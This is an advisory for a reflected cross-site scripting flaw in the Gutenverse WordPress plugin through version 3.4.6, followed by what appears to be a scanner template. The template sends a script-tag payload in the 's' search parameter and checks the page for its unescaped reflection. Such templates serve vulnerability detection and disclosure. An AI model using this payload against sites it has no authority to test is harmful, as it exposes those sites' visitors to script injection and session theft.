The Gutenverse plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in versions up to and including 3.4.6. The issue arises due to insufficient input sanitization and output escaping in the `render_content()` method of `class-search-result-title.php`, which outputs the value of `get_query_var('s')` directly into the page HTML without applying `esc_html()`. This makes it possible for unauthenticated attackers to inject and execute arbitrary web scripts in pages via a crafted URL, provided the `gutenverse/search-result-title` block is present on the site's search results template.
PoC
id: CVE-2026-3001
info:
name: Gutenverse Plugin <= 3.4.6 - Cross-Site Scripting
author: coffeetaro_12
severity: medium
description: |
The Gutenverse plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 's' parameter in versions up to and including 3.4.6. The issue arises due to insufficient input sanitization and output escaping in the `render_content()` method of `class-search-result-title.php`, which outputs the value of `get_query_var('s')` directly into the page HTML without applying `esc_html()`. This makes it possible for unauthenticated attackers to inject and execute arbitrary web scripts in pages via a crafted URL, provided the `gutenverse/search-result-title` block is present on the site's search results template.
impact: |
Unauthenticated attackers can execute arbitrary scripts in users' browsers, leading to session hijacking or phishing.
remediation: |
Update to a version later than 3.4.6 or latest available version.
reference:
- https://www.cve.org/CVERecord?id=CVE-2026-3001
- https://wpscan.com/vulnerability/b4d5571b-fcbf-409d-be91-efcfe9a3fa95/
- https://patchstack.com/database/wordpress/plugin/gutenverse/vulnerability/wordpress-gutenverse-wordpress-blocks-page-builder-site-editor-plugin-3-4-6-reflected-cross-site-scripting-vulnerability
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-3001
epss-score: 0.00473
epss-percentile: 0.39787
cwe-id: CWE-79
metadata:
verified: true
max-request: 1
vendor: jegstudio
product: gutenverse
publicwww-query: "/wp-content/plugins/gutenverse/"
tags: cve,cve2026,xss,wordpress,gutenverse,wp-plugin,wp
http:
- raw:
- |
GET /?s=<script>alert(1)</script> HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(1)</script>"
- "gutenverse"
condition: and
- type: word
part: header
words:
- "text/html"
extractors:
- type: regex
part: body
regex:
- "<span class='search-input-text'><script>alert(1)</script></span>"
# digest: 4a0a00473045022100af424227e8f4e4c913c4b642b6fabf8482bdbe84f7a59b9cd516410e466fb95902203b14d86438e289e3d481d0f6f1abaf095374aca9a52c65c3f65c47906634c638:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.